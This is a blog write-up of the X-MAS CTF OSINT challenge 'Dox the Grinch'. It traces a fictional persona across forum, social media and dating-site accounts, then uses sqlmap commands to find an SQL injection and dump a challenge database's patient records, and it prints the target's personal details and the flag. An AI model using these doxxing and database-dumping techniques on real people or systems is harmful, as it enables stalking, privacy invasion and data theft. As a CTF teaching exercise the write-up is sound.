Goglides Dev 🌱

Goglides Dev 🌱 is a community of amazing users

We are working on this space so that IT professionals can grow together.

Create account Log in
Rahul Gautam
Rahul Gautam

Posted on • Originally published at goglides.com on

Dox the Grinch (X-MAS CTF)

Dox the Grinch

Dox the Grinch (X-MAS CTF)

Authors: Milkdrop, PinkiePie1189

(OSINT Challenge) aka (Open-source intelligence Challenge)

Description of Challenge:

Dox the Grinch (X-MAS CTF)

Here a Guy posted the he hate s Christmas and now we need to find his name, Surname, City, Favorite Color, Blood Type and his height (which is respectively the flag for the ctf)

Lets start by following the URL

https://notabug.io/t/whatever/comments/44530e6b7740f22940db9c176b621900d0bce697/i-hate-xmas

Here you can see a post

Dox the Grinch (X-MAS CTF)

it was Posted by a user : Domay1986

now lets click on the username and see what else has he posted Or Submitted in this case

Dox the Grinch (X-MAS CTF)

here you can see he has another post about HackerNews

Dox the Grinch (X-MAS CTF)

lets follow the post, you can see

Dox the Grinch (X-MAS CTF)

Hmmm

he made a HackerNews account so lets go to google and search HackerNews

Dox the Grinch (X-MAS CTF)

Lets go to

https://news.ycombinator.com/

We can see a lot of post there

Dox the Grinch (X-MAS CTF)

Now how can we find this guy?

first I clicked on a user name of a random user

Dox the Grinch (X-MAS CTF)

Doppp for an instance

it redirected to https://news.ycombinator.com/user?id=doppp

Dox the Grinch (X-MAS CTF)

Then I replaced the id with Domay1986 which was the poster and the person we were supposed to find

https://news.ycombinator.com/user?id=Domay1986

Dox the Grinch (X-MAS CTF)

Cool we found the User

here we can see his name is Eugene

Now, we got his name where do we get other stuffs???

in https://notabug.io/user/uIUP3NZDQVnKkISlVdjM0cSOwt_5EKu1g3CzQGmtTSc.VlYirh-sCV0rZ_6px0em8HWyeKZN8TMnTtY2l0YtoTA

on overview you can see a post

Dox the Grinch (X-MAS CTF)

He mentioned that he has a Facebook account

now lets search for his Facebook account

I gave a lot of try but the one that worked for me was

searching with Eugene (domay)

why Eugene (domay)

Eugene was his first name and in this case Domay1986 was his alliance so in facebook if you search for a person who has a nickname too you use () brackets and put in the nickname for the person

Put it in the search bar,

Dox the Grinch (X-MAS CTF)

Then search for the person, there you go you found the guy

Dox the Grinch (X-MAS CTF)

Lets check his posts,

Dox the Grinch (X-MAS CTF)

Eugene Clarke is his full name.

now lets look for all his posts

Scrolling down you will see a post

Dox the Grinch (X-MAS CTF)

hmm lets check the website we could get more info about him

here it redirects you to http://challs.xmas.htsp.ro:13002/23c12189dcu91n8uc198231c9n412c4189dsa/?fbclid=IwAR3cBJGwGQMAyyDWDHSiI1LTTqKlt-r1JI6E-tdVrULRbK3G-lUtTlXDKsM

Dox the Grinch (X-MAS CTF)

A database huh lets try sql injection here

type in ' in the search bar and hit search

Dox the Grinch (X-MAS CTF)

Boom its SQLINJECTABLE

now lets use SQLMAP to take out the DBS

i used the command

sqlmap -u "http://challs.xmas.htsp.ro:13002/23c12189dcu91n8uc198231c9n412c4189dsa/?id=" --dbs

it resulted with 2 tables

Dox the Grinch (X-MAS CTF)

Now lets check the ctf table

lets see what the database ctf holds

using the command

sqlmap -u "http://challs.xmas.htsp.ro:13002/23c12189dcu91n8uc198231c9n412c4189dsa/?id=" -D ctf --tables

Dox the Grinch (X-MAS CTF)

Now lets see all the data in the patients table

running

sqlmap -u "http://challs.xmas.htsp.ro:13002/23c12189dcu91n8uc198231c9n412c4189dsa/?id=" -D ctf -T patients --dump

you get

Dox the Grinch (X-MAS CTF)

Since SQLMAP trims the data to see the data you need to go to

Dox the Grinch (X-MAS CTF)

now

lets go to /root/.sqlmap/output/challs.xmas.htsp.ro/dump/ctf

you can see a csv file

Dox the Grinch (X-MAS CTF)

now lets open that file I will use Text Editor for Kali linux

you can see a lot of data load

Dox the Grinch (X-MAS CTF)

Now lets search for the name Eugene

here you go

2107,qxcxdoxmes62pwn5,EUGENE,Caucasian,M,162,110,2207 Kelly Ave PA 18508,CLARKE,1 April 1986,0-,Grinch Syndrome

For better view you can copy his patient ID qxcxdoxmes62pwn5 and search it in the website,

Dox the Grinch (X-MAS CTF)

now we got his Name,Surname,Blood Type, Body Height

now all we need is his city and his favorite color.

for his city lets copy the address 2207 Kelly Ave PA 18508 and google the address

Dox the Grinch (X-MAS CTF)

So the city is Scranton

now the only thing left to look for is his favorite color

lets go back to his facebook post and look at his latest post

Dox the Grinch (X-MAS CTF)

lets maximize the image

you can see

Dox the Grinch (X-MAS CTF)

Different tabs open in which Matrimoniale is one

lets search for that

since he has talked about romanian girls in his account, lets go to

matrimoniale.ro

for finding a user, the website uses https://www.matrimoniale.ro/thepersons name so lets search for domay1986

lets go to the url

https://www.matrimoniale.ro/domay1986

you will see

Dox the Grinch (X-MAS CTF)

looking through all the tab i found Personal intresting lets go to that tab,

Dox the Grinch (X-MAS CTF)

you can see

Dox the Grinch (X-MAS CTF)

(scroll down a bit)

now we have all the information we need

Name: Eugene

Surname :Clarke

City: Scranton

Color: magenta

blood group: 0-

height: 162

combining and getting the flag as:

X-MAS{eugene_clarke_scranton_magenta_0-_162}

Discussion (0)